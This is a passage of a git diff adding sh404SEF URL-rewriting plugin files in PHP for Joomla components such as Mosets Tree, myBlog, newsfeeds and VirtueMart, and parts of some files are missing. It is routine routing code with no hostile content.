$fields[$cfId]->caption; + + if (!empty( $cfCaption)) { + shRemoveFromGETVarsList( 'cf_id'); + } + + return $cfCaption; + } +} + +/*** + * Routine function to restrive $limit & $limitvalue from query string +* +* @param int A referenced $limit - number of results shown per page +* @param int A referenced $limitstart - the record number to start display +* @param string Query string +*/ +if (!function_exists('shGetLimits')) { + function shGetLimits( &$limit, &$limitstart, $string ) { + // limit + $temp = explode('&limit=', $string); + if (count($temp) >= 2) { + $temp = explode("&", $temp[1]); + $limit = $temp[0]; + } else { + $limit = ''; + } + + // limitstart + $temp = explode('&limitstart=', $string); + if (count($temp) >= 2) { + $temp = explode("&", $temp[1]); + $limitstart = $temp[0]; + } else { + $limitstart = ''; + } + + if ( $limit <> '' && $limitstart <> '' ) { + return true; + } else { + return false; + } + + } +} + + +// Include the config file +require_once( sh404SEF_ABS_PATH.'components/com_mtree/mtree.class.php' ); + +// Inlcude back-end class +require_once( sh404SEF_ABS_PATH.'administrator/components/com_mtree/admin.mtree.class.php' ); + +$task = isset($task) ? $task : null; +$Itemid = isset($Itemid) ? $Itemid : null; // V 1.2.4.t +$link_id = isset($link_id) ? $link_id : null; +$cat_id = isset($cat_id) ? $cat_id : null; +$user_id = isset($user_id) ? $user_id : null; + + +// shumisha : insert component name from menu +$shMTreeName = shGetComponentPrefix($option); +$shMTreeName = empty($shMTreeName) ? getMenuTitle($option, null, $Itemid, null, $shLangName ) +: $shMTreeName; +$shMTreeName = (empty($shMTreeName) || $shMTreeName == '/') ? 'Directory':$shMTreeName; // V 1.2.4.t +if ($sefConfig->shInsertMTreeName && !empty($shMTreeName)) $title[] = $shMTreeName; + +switch ($task) { + + // List Categories (listcats) + case 'listcats' : + if ($cat_id == 0) { // V 1.2.4.t 23/08/2007 18:20:20 + if (empty( $title)) + $title[] = $shMTreeName; + shRemoveFromGETVarsList('cat_id'); + } else { + $tmp = shAppendCat( $cat_id, $option, $shLangName); + if (empty($title)) + $title = $tmp; + else + $title = array_merge ($title, $tmp); + } + $title[] = '/'; + break; + + // My Listing + case 'mylisting' : + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_MYLISTING']; + break; + + // Featured Listing + case 'listfeatured': + if (empty($title)) + $title = shAppendCat( $cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $cat_id, $option, $shLangName)); + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_FEATUREDLISTING'] . '/'; + break; + + // New/Latest Listing + case 'listnew': + if (empty($title)) + $title = shAppendCat( $cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $cat_id, $option, $shLangName)); + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_NEWLISTING'] . '/'; + break; + + // Popular Listing + case 'listpopular': + if (empty($title)) + $title = shAppendCat( $cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $cat_id, $option, $shLangName)); + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_POPULARLISTING']; + break; + + // Most Rated Listing + case 'listmostrated': + if (empty($title)) + $title = shAppendCat( $cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $cat_id, $option, $shLangName)); + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_MOSTRATEDLISTING']; + break; + + // Top Rated Listing + case 'listtoprated': + if (empty($title)) + $title = shAppendCat( $cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $cat_id, $option, $shLangName)); + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_TOPRATEDLISTING']; + break; + + // Most Reviewed Listing + case 'listmostreview': + if (empty($title)) + $title = shAppendCat( $cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $cat_id, $option, $shLangName)); + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_MOSTREVIEWEDLISTING']; + break; + + case 'listalpha' : + if (empty($title)) + $title = shAppendCat( $cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $cat_id, $option, $shLangName)); + + //$title[] = $sh_LANG[$shLangIso]['_MT_SEF_LISTALPHA']; + $shStartPage = isset($alpha) ? $alpha : (isset($start) ? $start : null); // Mtree changed first page number + // as Jooma 1.5.x alredy uses $start + // Get start alphabet + if ($shStartPage == '0') + $title[] = '0-9'; + else + $title[] = $shStartPage; + $title[] = '/'; + break; + + // Advanced Search Results + case 'advsearch2' : + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_ADVSEARCH2']; + + // Get search id + //$search_id = shGetID('search',$string); + break; + + // Advanced Search + case 'advsearch' : + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_ADVSEARCH']; + break; + + // Tagged = search_by + case 'searchby' : + if (!empty($cf_id) && !empty( $value)) { + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_SEARCH']; + $title[] = shMTGetCustomFieldById( $cf_id); + $title[] = $value; + shRemoveFromGETVarsList( 'value'); + $title[] = '/'; + } + break; + + + // View All listing from Owner + case 'viewowner' : + if ($sefConfig->shMTreeInsertUserName) { + try { + $username = ShlDbHelper::selectResult( '#__users', array('name'), array ('id' => $user_id, 'block' => 0)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + } else { + $username = ''; + } + + if ( !empty($username) ) { + $title[] = ($sefConfig->shMTreeInsertUserId ? $user_id.$sefConfig->replacement : '').$username; + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_OWNER']; + if (isset($user_id)) shRemoveFromGETVarsList('user_id'); + } + + // TODO - Does not append further virtual path if username does not exists. mtree.php + // should check if user is not block / exists. + break; + + // View Listing + case 'viewlink' : + if (!empty($link_id)) { + $database = ShlDbHelper::getDb(); + $mtLink = new mtLinks( $database ); + $mtLink->load( $link_id ); + if ($sefConfig->shMTreeInsertCategories > 0) { + if (empty($title)) + $title = shAppendCat( $mtLink->cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $mtLink->cat_id, $option, $shLangName)); + } + if( shGetLimits( $limit, $limitstart, $string ) ) { + // http://example.com/c/mtree/Computer/Games/Donkey_Kong/reviews23/ + + if (empty($title)) + $title = shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName); + else + $title = array_merge ($title, shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName)); + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_REVIEWS_PAGE']; + + } else { + // http://example.com/c/mtree/Computer/Games/Donkey_Kong/details/ + if (empty($title)) + $title = shAppendListing( $mtLink->link_name, $mtLink->link_id, true, $shLangIso, $option, $shLangName); + else + $title = array_merge ($title, shAppendListing( $mtLink->link_name, $mtLink->link_id, true, $shLangIso, $option, $shLangName)); + } + } else $dosef = false; + break; + + // Write Review + case 'writereview' : + if (!empty($link_id)) { + $database = ShlDbHelper::getDb(); + $mtLink = new mtLinks( $database ); + $mtLink->load( $link_id ); + if ($sefConfig->shMTreeInsertCategories > 0) { + if (empty($title)) + $title = shAppendCat( $mtLink->cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $mtLink->cat_id, $option, $shLangName)); + } + if (empty($title)) + $title = shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName); + else + $title = array_merge ($title, shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName)); + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_REVIEW']; + } else $dosef = false; + break; + + // Rating + case 'rate' : + if (!empty($link_id)) { + $database = ShlDbHelper::getDb(); + $mtLink = new mtLinks( $database ); + $mtLink->load( $link_id ); + if ($sefConfig->shMTreeInsertCategories > 0) { + if (empty($title)) + $title = shAppendCat( $mtLink->cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $mtLink->cat_id, $option, $shLangName)); + } + if (empty($title)) + $title = shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName); + else + $title = array_merge ($title, shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName)); + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_RATE']; + } else $dosef = false; + break; + + // RECOMMEND + case 'recommend' : + if (!empty($link_id)) { + $database = ShlDbHelper::getDb(); + $mtLink = new mtLinks( $database ); + $mtLink->load( $link_id ); + if ($sefConfig->shMTreeInsertCategories > 0) { + if (empty($title)) + $title = shAppendCat( $mtLink->cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $mtLink->cat_id, $option, $shLangName)); + } + if (empty($title)) + $title = shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName); + else + $title = array_merge ($title, shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName)); + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_RECOMMEND']; + } else $dosef = false; + break; + + // CONTACT OWNER + case 'contact' : + if (!empty($link_id)) { + $database = ShlDbHelper::getDb(); + $mtLink = new mtLinks( $database ); + $mtLink->load( $link_id ); + if ($sefConfig->shMTreeInsertCategories > 0) { + if (empty($title)) + $title = shAppendCat( $mtLink->cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $mtLink->cat_id, $option, $shLangName)); + } + if (empty($title)) + $title = shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName); + else + $title = array_merge ($title, shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName)); + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_CONTACT']; + } else $dosef = false; + break; + + // REPORT LISTING + case 'report' : + if (!empty($link_id)) { + $database = ShlDbHelper::getDb(); + $mtLink = new mtLinks( $database ); + $mtLink->load( $link_id ); + if ($sefConfig->shMTreeInsertCategories > 0) { + if (empty($title)) + $title = shAppendCat( $mtLink->cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $mtLink->cat_id, $option, $shLangName)); + } + if (empty($title)) + $title = shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName); + else + $title = array_merge ($title, shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName)); + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_REPORT']; + } else $dosef = false; + break; + + // CLAIM LISTING + case 'claim' : + if (!empty($link_id)) { + $database = ShlDbHelper::getDb(); + $mtLink = new mtLinks( $database ); + $mtLink->load( $link_id ); + if ($sefConfig->shMTreeInsertCategories > 0) { + if (empty($title)) + $title = shAppendCat( $mtLink->cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $mtLink->cat_id, $option, $shLangName)); + } + if (empty($title)) + $title = shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName); + else + $title = array_merge ($title, shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName)); + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_CLAIM']; + } else $dosef = false; + break; + + // VISIT LISTING + case 'visit' : + if (!empty($link_id)) { + $database = ShlDbHelper::getDb(); + $mtLink = new mtLinks( $database ); + $mtLink->load( $link_id ); + if (empty($title)) + $title = shAppendCatListing( $mtLink, false, $shLangIso, $option, $shLangName); + else + $title = array_merge ($title, shAppendCatListing( $mtLink, false, $shLangIso, $option, $shLangName)); + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_VISIT']; + } else $dosef = false; + break; + + // Add Listing + case 'addlisting': + if (!empty($link_id)) { + $database = ShlDbHelper::getDb(); + $mtLink = new mtLinks( $database ); + $mtLink->load( $link_id ); + if (empty($title)) + $title = shAppendCat( $mtLink->cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $mtLink->cat_id, $option, $shLangName)); + } elseif (isset($cat_id)) { // cat id can be zero (for root) + if (empty($title)) + $title = shAppendCat( $cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $cat_id, $option, $shLangName)); + } + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_ADDLISTING']; + break; + + // Add Category + case 'addcategory' : + if (!empty($link_id)) { + $database = ShlDbHelper::getDb(); + $mtLink = new mtLinks( $database ); + $mtLink->load( $link_id ); + if (empty($title)) + $title = shAppendCat( $mtLink->cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $mtLink->cat_id, $option, $shLangName)); + } elseif (isset($cat_id)) { + if (empty($title)) + $title = shAppendCat( $cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $cat_id, $option, $shLangName)); + } + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_ADDCATEGORY']; + break; + + // Search Results + case 'search': + if (empty($title)) + $title = shAppendCat( $cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $cat_id, $option, $shLangName)); + + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_SEARCH']; + break; + + // Edit listing + case 'editlisting' : + if (!empty($link_id)) { + $database = ShlDbHelper::getDb(); + $mtLink = new mtLinks( $database ); + $mtLink->load( $link_id ); + if ($sefConfig->shMTreeInsertCategories > 0) { + if (empty($title)) + $title = shAppendCat( $mtLink->cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $mtLink->cat_id, $option, $shLangName)); + } + if (empty($title)) + $title = shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName); + else + $title = array_merge ($title, shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName)); + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_EDIT_LISTING']; + } else $dosef = false; + break; + + // Delete listing + case 'deletelisting' : + if (!empty($link_id)) { + $database = ShlDbHelper::getDb(); + $mtLink = new mtLinks( $database ); + $mtLink->load( $link_id ); + if ($sefConfig->shMTreeInsertCategories > 0) { + if (empty($title)) + $title = shAppendCat( $mtLink->cat_id, $option, $shLangName); + else + $title = array_merge ($title, shAppendCat( $mtLink->cat_id, $option, $shLangName)); + } + if (empty($title)) + $title = shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName); + else + $title = array_merge ($title, shAppendListing( $mtLink->link_name, $mtLink->link_id, false, $shLangIso, $option, $shLangName)); + $title[] = $sh_LANG[$shLangIso]['_MT_SEF_DELETE_LISTING']; + } else $dosef = false; + break; + + case '': + if (empty( $title)) + $title[] = $shMTreeName; // at least put defautl name, even if told not to do so + $title[] = '/'; + break; + + default: + $dosef = false; + break; + +} + +/* sh404SEF extension plugin : remove vars we have used, adjust as needed --*/ +shRemoveFromGETVarsList('option'); +shRemoveFromGETVarsList('lang'); +shRemoveFromGETVarsList('Itemid'); +if (isset($task)) + shRemoveFromGETVarsList('task'); +if (isset($limit)) + shRemoveFromGETVarsList('limit'); +if (isset($limitstart)) + shRemoveFromGETVarsList('limitstart'); // limitstart can be zero +if (isset($start)) + shRemoveFromGETVarsList('start'); +/* sh404SEF extension plugin : end of remove vars we have used -------------*/ + + +// ------------------ standard plugin finalize function - don't change --------------------------- +if ($dosef){ + $string = shFinalizePlugin( $string, $title, $shAppendString, $shItemidString, + (isset($limit) ? @$limit : null), (isset($limitstart) ? @$limitstart : null), + (isset($shLangName) ? @$shLangName : null)); +} +// ------------------ standard plugin finalize function - don't change --------------------------- + +?> diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext/com_myblog.php b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_myblog.php new file mode 100644 index 00000000..045df7f9 --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_myblog.php @@ -0,0 +1,214 @@ + $catName)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + return isset($catId) ? $catId : ''; + } +} + +if (!function_exists('shFetchUserId')) { + function shFetchUserId( $blogger) { + if (empty($blogger)) return null; + + try { + $userId = ShlDbHelper::selectResult( '#__users', 'id', array( 'username' => $blogger)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + return isset($userId) ? $userId : ''; + } +} + +if (!function_exists('shFetchPostId')) { + function shFetchPostId( $show, $option, $shLangName) { + if (empty($show)) return null; + + try { + $postId = ShlDbHelper::selectResult( '#__myblog_permalinks', 'contentid', array( 'permalink' => $show)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + return isset($postId) ? $postId : ''; + } +} + +//echo 'string = '.$string.'
    '; +// shumisha : insert component name from menu +$shMyBlogName = shGetComponentPrefix($option); +$shMyBlogName = empty($shMyBlogName) ? getMenuTitle($option, null, @$Itemid, null, $shLangName ) : $shMyBlogName; +$shMyBlogName = $shMyBlogName == '/' ? 'myBlog':$shMyBlogName; // V 1.2.4.t + +if ($sefConfig->shInsertMyBlogName && !empty($shMyBlogName)) $title[] = $shMyBlogName; + +if (isset($blogger)) { // blogger url rewrite + if ($sefConfig->shMyBlogInsertBloggerId) { + $userId = shFetchUserId($blogger); + $title[] = (!empty($userId) ? $userId.$sefConfig->replacement:'').$blogger; //append blogger name to url. + } else $title[] = $blogger; + $title[] = "/"; + shRemoveFromGETVarsList('blogger'); +} + +if (isset($archive)) { // archive url rewrite + $archive_arr = split("-", $archive); + $title[] = $archive_arr[1]; //append 'Year' + $title[] = "/"; + $title[] = $archive_arr[0]; //append 'Month' + $title[] = "/"; + shRemoveFromGETVarsList('archive'); +} + +if (isset($category)) { // category url rewrite + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_MYBLOG_VIEW_BY_TAG']; + if ($sefConfig->shMyBlogInsertTagId) { + $catId = shFetchTagId($category, $option, $shLangName); + $title[] = (empty($catId) ? '':$catId.$sefConfig->replacement).$category; // append category name to url. + } else $title[] = $category; + $title[] = "/"; + shRemoveFromGETVarsList('category'); +} + +if (!empty($admin) && !empty($lightbox)) { + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_MYBLOG_VIEW_DASHBOARD']; + shRemoveFromGETVarsList('admin'); + shRemoveFromGETVarsList('lightbox'); +} + +if (isset($show)) { // show parameter url rewrite. + if (JString::substr($show, strlen($show)-5)==".html") + $show = JString::substr($show, 0, strlen($show)-5); + if ($sefConfig->shMyBlogInsertPostId) { + $postId = shFetchPostId($show.'.html', $option, $shLangName); + $title[] = (empty($postId) ? '':$postId.$sefConfig->replacement).$show; // append permalink to the url + } else $title[] = $show; + shRemoveFromGETVarsList('show'); + shMustCreatePageId( 'set', true); +} else if (isset($id)){ // view parameter rewrite + + try { + $row = ShlDbHelper::selectResult( '#__myblog_permalinks', 'permalink', array ('contentid' => $id)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + if ($row) { + $tmp = $row; + if (JString::substr($tmp, strlen($tmp)-5)==".html") + $tmp = JString::substr($tmp, 0, strlen($tmp)-5); + if ($sefConfig->shMyBlogInsertPostId) { + $title[] = (isset($id) ? '':$id.$sefConfig->replacement).$tmp; + } else $title[] = $tmp; + shRemoveFromGETVarsList('id'); + } else { + $dosef = false; + } +} + +$task = isset($task) ? @$task : null; + +switch ($task) { + case 'view': + $title[]=$sh_LANG[$shLangIso]['_SH404SEF_MYBLOG_VIEW']; + break; + case 'userblog': + $title[]=$sh_LANG[$shLangIso]['_SH404SEF_MYBLOG_USERBLOG']; + break; + case 'blogs': + $title[]= $sh_LANG[$shLangIso]['_SH404SEF_MYBLOG_VIEW_ALL_BLOGS']; + break; + case 'categories': + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_MYBLOG_VIEW_ITEMS_BY_TAG']; + break; + case 'search': + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_MYBLOG_SEARCH_BLOG']; + break; + case 'rss': + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_MYBLOG_SUBSCRIBE_RSS']; + break; + // fix for new version of myblog dashboard provided by ianrispin - march 2008 + case 'bloggerpref': + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_MYBLOG_BLOGGER_PREFERENCES']; + break; + case 'bloggerstats': + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_MYBLOG_BLOGGER_STATS']; + break; + case 'showcomments': + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_MYBLOG_SHOW_COMMENTS']; + break; + case 'delete': + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_MYBLOG_DELETE_BLOG']; + break; + case 'adminhome': + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_MYBLOG_MANAGE_MY_OWN_BLOG']; + break; + case 'ajaxupload': + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_MYBLOG_IMAGE_UPLOAD']; + break; + case 'printblog': + $dosef = false; + break; + default: + $dosef = empty( $task); + break; +} + +if (empty($title)) $title[] = $shMyBlogName; + +/* sh404SEF extension plugin : remove vars we have used, adjust as needed --*/ +shRemoveFromGETVarsList('option'); +shRemoveFromGETVarsList('lang'); +if (isset($Itemid)) + shRemoveFromGETVarsList('Itemid'); +if (!empty($task)) + shRemoveFromGETVarsList('task'); +if (!empty($limit)) + shRemoveFromGETVarsList('limit'); +if (isset($limitstart)) + shRemoveFromGETVarsList('limitstart'); // limitstart can be zero +/* sh404SEF extension plugin : end of remove vars we have used -------------*/ + +// ------------------ standard plugin finalize function - don't change --------------------------- +if ($dosef){ + $string = shFinalizePlugin( $string, $title, $shAppendString, $shItemidString, + (isset($limit) ? @$limit : null), (isset($limitstart) ? @$limitstart : null), + (isset($shLangName) ? @$shLangName : null)); +} +// ------------------ standard plugin finalize function - don't change --------------------------- + +?> diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext/com_newsfeeds.php b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_newsfeeds.php new file mode 100644 index 00000000..cbc32567 --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_newsfeeds.php @@ -0,0 +1,110 @@ +getCategorySlugArray( 'com_newsfeeds', $catid, shSEFConfig::CAT_ALL_NESTED_CAT, $useAlias = false, $insertId = false, $menuItemTitle = '', $shLangName); + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $dosef = false; + } + } + if (!empty($id)) { + + try { + $rows = ShlDbHelper::selectObjectList( '#__newsfeeds', array( 'name', 'id'), array( 'id' => $id)); + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + JError::raiseError( 500, $e->getMessage()); + } + if( @count( $rows ) > 0 ) { + if( !empty( $rows[0]->name ) ){ + $title[] = $rows[0]->name; + } + } + } + else $title[] = '/'; // V 1.2.4.s + break; + case 'category': + if(!empty( $id)) { + try { + $slugsArray = $slugsModel->getCategorySlugArray( 'com_newsfeeds', $id, shSEFConfig::CAT_ALL_NESTED_CAT, $useAlias = false, $insertId = false, $menuItemTitle = '', $shLangName); + $slugsArray[] = '/'; + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $dosef = false; + } + if(!empty($slugsArray)) { + $title = array_merge( $title, $slugsArray); + } + } else { + $dosef = false; + } + break; + case 'new': + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_CREATE_NEW_NEWSFEED'] . $sefConfig->suffix; + break; + default: + $title[] = '/'; // V 1.2.4.s + break; +} + +shRemoveFromGETVarsList('option'); +if (!empty($Itemid)) + shRemoveFromGETVarsList('Itemid'); +shRemoveFromGETVarsList('lang'); +if (!empty($catid)) + shRemoveFromGETVarsList('catid'); +if (isset($id)) + shRemoveFromGETVarsList('id'); +if (!empty($view)) + shRemoveFromGETVarsList('view'); +if (!empty($feedid)) + shRemoveFromGETVarsList('feedid'); + +// ------------------ standard plugin finalize function - don't change --------------------------- +if ($dosef){ + $string = shFinalizePlugin( $string, $title, $shAppendString, $shItemidString, + (isset($limit) ? @$limit : null), (isset($limitstart) ? @$limitstart : null), + (isset($shLangName) ? @$shLangName : null)); +} +// ------------------ standard plugin finalize function - don't change --------------------------- + +?> diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext/com_search.php b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_search.php new file mode 100644 index 00000000..248b5fae --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_search.php @@ -0,0 +1,73 @@ + diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext/com_users.php b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_users.php new file mode 100644 index 00000000..d1fda4cb --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_users.php @@ -0,0 +1,112 @@ +suffix)) { + $title[count($title)-1] .= $sefConfig->suffix; +} +else { + $title[] = '/'; +} + +// ------------------ standard plugin finalize function - don't change --------------------------- +if ($dosef){ + $string = shFinalizePlugin( $string, $title, $shAppendString, $shItemidString, + (isset($limit) ? @$limit : null), (isset($limitstart) ? @$limitstart : null), + (isset($shLangName) ? @$shLangName : null)); +} +// ------------------ standard plugin finalize function - don't change --------------------------- + +?> diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext/com_virtuemart.php b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_virtuemart.php new file mode 100644 index 00000000..739f64da --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_virtuemart.php @@ -0,0 +1,257 @@ +menu['virtuemart']) ? $Itemid : $helper->menu['virtuemart']; + $menuItem = JFactory::getApplication()->getMenu()->getItem($Itemid); + if (!empty($menuItem)) + { + $shopName = $menuItem->route; + } + else + { + $shopName = 'vm'; + } + } + return $shopName; + } +} + +// get shop name, as title of menu item to shop +ShlSystem_Log::debug('sh404sef', 'Loading component own router.php file from inside com_virtuemart.php'); +$functionName = ucfirst(str_replace('com_', '', $option)) . 'BuildRoute'; +if (!function_exists($functionName)) +{ + include_once(JPATH_ROOT . '/components/' . $option . '/router.php'); +} +$originalVars = empty($originalUri) ? $vars : $originalUri->getQuery($asArray = true); +$helper = vmrouterHelper::getInstance($originalVars); +$shopName = shGetVmShopName($helper, $Itemid); + +if (count($originalVars) == 2 && !empty($originalVars['Itemid']) && !empty($originalVars['option'])) +{ + // use directly menu item + $item = JFactory::getApplication()->getMenu()->getItem($originalVars['Itemid']); + if (!empty($item)) + { + $query = $item->query; + // // when limitstart is not set, VM2 fetches start from the session, instead + // of just assuming 0 + if (!empty($query['view']) && $query['view'] == 'category') + { + if (!isset($query['limitstart'])) + { + $limitstart = 0; + shAddToGETVarsList('limitstart', $limitstart); + shRemoveFromGETVarsList('limitstart'); + } + } + ShlSystem_Log::debug('sh404sef', 'Inside com_virtuemart.php, building url from menu item route'); + $title = array($item->alias); + + // add shop menu item, if asked to, except on main shop page + $isShopHome = !empty($query['view']) && $query['view'] == 'virtuemart'; + if (!$isShopHome && $sefConfig->shVmInsertShopName) + { + array_unshift($title, $shopName); + } + } +} + +if (empty($title)) +{ + // check for shop root url, else normal routing + if (!empty($originalVars['view']) && $originalVars['view'] == 'virtuemart') + { + // if VM is homepage, then that's fine + if (!shIsAnyHomepage($string)) + { + // else use menu item alias as slug + $title[] = $shopName; + unset($originalVars['view']); + } + } + else + { + // various checks as VM2 seem to produce funky non-sef urls + if (!empty($originalVars['view']) && $originalVars['view'] == 'productdetails') + { + if (empty($originalVars['virtuemart_product_id'])) + { + // request for product details, but product id is 0 + return; + } + } + + // when limitstart is not set, VM2 fetches start from the session, instead + // of just assuming 0 + if (!empty($originalVars['view']) && $originalVars['view'] == 'category') + { + if (!isset($originalVars['limitstart'])) + { + $limitstart = 0; + shAddToGETVarsList('limitstart', $limitstart); + shRemoveFromGETVarsList('limitstart'); + // router.php expects this to be start, not limitstart + $originalVars['start'] = $limitstart; + } + else + { + $originalVars['start'] = $originalVars['limitstart']; + unset($originalVars['limitstart']); + } + } + + $hasCategoryId = !empty($originalVars['view']) && ($originalVars['view'] == 'category' || $originalVars['view'] == 'productdetails') + && !empty($originalVars['virtuemart_category_id']); + $isProductView = !empty($originalVars['view']) && $originalVars['view'] == 'productdetails' + && !empty($originalVars['virtuemart_product_id']); + $nonSefItemid = empty($originalVars['Itemid']) ? 0 : $originalVars['Itemid']; + + // have router.php build url + $title = $functionName($originalVars); + + if ($isProductView) + { + //if only option and Itemid left, VM wants Joomla router to prepend menu item. Let's do that + if (empty($title) && count($originalVars) == 2 && !empty($originalVars['Itemid']) && !empty($originalVars['option'])) + { + $item = JFactory::getApplication()->getMenu()->getItem($originalVars['Itemid']); + if (!empty($item)) + { + $validItemid = $originalVars['Itemid']; + } + } + if (!empty($validItemid)) + { + // we now use the calculated Itemid, either the original one + // or the one that was swapped in by Virtuemart router.php + $Itemid = $validItemid; + $vars['Itemid'] = $validItemid; + $originalUri->setVar('Itemid', $validItemid); + shAddToGETVarsList('Itemid', $validItemid); + + // stick the product route + $prodRoute = $helper->getProductName($vars['virtuemart_product_id']); + !empty($prodRoute) ? array_unshift($title, $prodRoute) : null; + $hasCategoryId = false; + } + } + + // VM router set the Itemid for category links!!!! + // instead of doing the routing + if ($hasCategoryId) + { + //if only option and Itemid left, VM wants Joomla router to prepend menu item. Let's do that + if (empty($title) && count($originalVars) == 2 && !empty($originalVars['Itemid']) && !empty($originalVars['option'])) + { + $item = JFactory::getApplication()->getMenu()->getItem($originalVars['Itemid']); + if (!empty($item)) + { + $validItemid = 